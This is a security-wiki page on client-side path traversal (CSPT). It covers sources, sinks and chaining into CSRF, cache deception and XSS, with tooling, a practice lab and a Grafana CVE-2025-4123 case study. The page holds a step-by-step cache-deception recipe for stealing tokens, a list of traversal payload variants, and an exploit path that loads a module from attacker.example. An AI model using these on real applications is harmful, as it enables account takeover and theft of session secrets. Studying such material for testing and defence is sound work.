Client Side Path Traversal

Basic Information

A client-side path traversal (CSPT), also called on-site request forgery (OSRF), occurs when attacker-controlled data is inserted into a URL path used by client-side code. By injecting dot segments such as ../, an attacker can make the victim’s browser send an authenticated request to a different path on the same origin. The request may carry cookies, JavaScript-added authorization headers, or a client certificate, depending on how the application constructs it.^[5][7]

Typical sources (data you control) include route parameters, stored values, and UI-controlled path fragments:^[7][8]

• Route parameters that get concatenated into fetch() or XHR paths (React Router, Next.js dynamic routes, Vue router params, Angular ActivatedRoute).
• Stored values (profile slugs, document IDs) that are interpolated into paths inside background jobs, service workers, or WebSocket URLs.
• UI gadgets (download/export buttons, image galleries) that append user-controlled fragments or file extensions to API endpoints before the request is dispatched.

Typical sinks (where the traversal lands) include request builders and navigation or resource-loading APIs:^[7][8]

• Frontend API wrappers that prepend /api/ or /proxy/ and reuse auth headers automatically.
• history.pushState / router.navigate helpers that reconstruct URLs later during hydration.
• <link>/<style>/@import statements generated by CMS content or feature-flag payloads.

Common impacts & chains

• CSPT ➜ CSRF/OSRF: hijack authenticated POST/PUT/DELETE calls by escaping the intended resource path, then re-entering sensitive endpoints (password reset, payment approval, access revocation). Combine with the CSRF checklist to escalate.
• CSPT ➜ cache deception / poisoning: serve attacker-controlled JSON from public CDN keys and replay it unauthenticated. See Cache Poisoning and Cache Deception.
• CSPT ➜ Open Redirect ➜ XSS/SSRF: traversal lands on an open redirect endpoint, which then bounces to attacker infrastructure that serves malicious JS or SSRF payloads. Chain with Open Redirect abuses.

Example findings

• In this writeup, it was possible to change the invite URL so it would end up canceling a card.^[5]
• In this writeup, it was possible to combine a client side path traversal via CSS (it was possible to change the path where a CSS resource was loaded from) with an open redirect to load the CSS resource from an attacker controlled domain.^[6]
• In this writeup, it’s possible to see a technique on how to abuse CSPT to perform a CSRF attack. This is done by monitoring all the data that an attacker can control (URL path, parameters, fragment, data injected in the DB…) and the sinks this data ends (requests being performed).^[7]
  • Use the Eval Villain browser extension to monitor attacker-controlled sources as they reach JavaScript sinks.^[9]
  • Use the CSPT Playground to practice the technique.^[10]
  • See Doyensec’s tutorial for a worked Eval Villain and CSPT Playground workflow.^[11]

CSPT-assisted web cache poisoning/deception

CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls:^[1][2]

• A frontend concatenates user-controlled input into an API path and attaches authentication headers in fetch/XHR.
• By injecting dot-segments (../) you can retarget the authenticated request to a different endpoint on the same origin.
• If that endpoint (or a path variant with a static-looking suffix like .css) is cached by the CDN without varying on auth headers, the victim’s authenticated response can be stored under a public cache key and retrieved by anyone.

Quick recipe:

1. Find SPA code building API URLs from path parameters while sending auth headers.
2. Identify sensitive endpoints and test static suffixes (.css, .js, .jpg, .json) to see if the CDN flips to Cache-Control: public/max-age and X-Cache: Hit while returning JSON.
3. Lure the victim to a URL that injects traversal into the SPA parameter so the authenticated fetch hits the cacheable path variant (for example, ../../../v1/token.css).
4. Read back the same URL anonymously to obtain the cached secret (token → ATO).

See details and mitigations in the Cache Deception page: Cache Poisoning and Cache Deception.

Hunting workflow & tooling

Passive discovery with intercepting proxies

• Correlate sources/sinks automatically: the CSPT Burp extension parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the Source Scope to client parameters (e.g., id, slug) and the Sink Methods to GET, POST, DELETE so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk.^[4]
• Look for double-URL-decoding: while browsing with Burp or ZAP, watch for /api/%252e%252e/ patterns that get normalized by the frontend before hitting the network—these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner.^[8]

Instrumenting SPA sinks manually

Dropping a short snippet in DevTools helps surface hidden traversals while you interact with the UI:

(() => {
  const origFetch = window.fetch;
  window.fetch = async function (input, init) {
    if (typeof input === "string" && /\.\.\//.test(input)) {
      console.log("[CSPT candidate]", input, init?.method || "GET");
      debugger;
    }
    return origFetch.apply(this, arguments);
  };
})();

• Add similar wrappers around XMLHttpRequest.prototype.open, history.pushState, and framework-specific routers (e.g., next/router). Watching for init.credentials === "include" quickly narrows down requests that carry session cookies.
• If the app stores routing hints in IndexedDB/localStorage, edit those entries with traversal payloads and reload—the mutated state is often reinjected into requests pre-hydration.

Lab & payload rehearsal

• Spin up the CSPT Playground via docker compose up and practice chaining traversal ➜ CSRF ➜ stored XSS flows without touching the target. Reproducing the target’s router structure locally makes it easier to craft shareable PoCs.
• Maintain a scratchpad of successful dot-segment variations (..;/, %2e%2e/, %2e./%2e/, UTF-8 homoglyphs) and suffix tricks (.css, .json, ; matrix params) you observed during recon so you can replay them quickly when a new sink appears.

Recent case studies (2025)

• Grafana CVE-2025-4123 – A CSPT in the frontend’s handling of /public/plugins/<plugin-id>/... paths could be chained with an open redirect to load an attacker-controlled plugin module, producing XSS in a victim’s browser. The attack does not require Editor permissions, and Grafana states that it also works when anonymous access is enabled; successful exploitation can lead to session hijacking or complete account takeover. A schematic path has the form https://grafana.example.com/public/plugins/../../../../..//attacker.example/poc/module.js; exact normalization and plugin-ID requirements depend on the release. With the optional Grafana Image Renderer installed, the same path manipulation can instead provide full-read SSRF. Grafana reported that the issue affected supported releases and older versions going back to at least Grafana 8; it was fixed in 10.4.18+security-01, 11.2.9+security-01, 11.3.6+security-01, 11.4.4+security-01, 11.5.4+security-01, and 12.0.0+security-01.^[3]

Payload cookbook

References

• [1] Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
• [2] PortSwigger: Web Cache Deception
• [3] Grafana security release for CVE-2025-4123
• [4] Doyensec CSPT Burp Extension
• [5] Client-Side Path Manipulation (erasec)
• [6] Practical Client-Side Path Traversal Attacks (mr-medi, archived)
• [7] CSPT2CSRF (Doyensec)
• [8] CSPT overview by Matan Berson
• [9] Eval Villain browser extension
• [10] Doyensec CSPT Playground
• [11] Doyensec – Finding CSPT with Eval Villain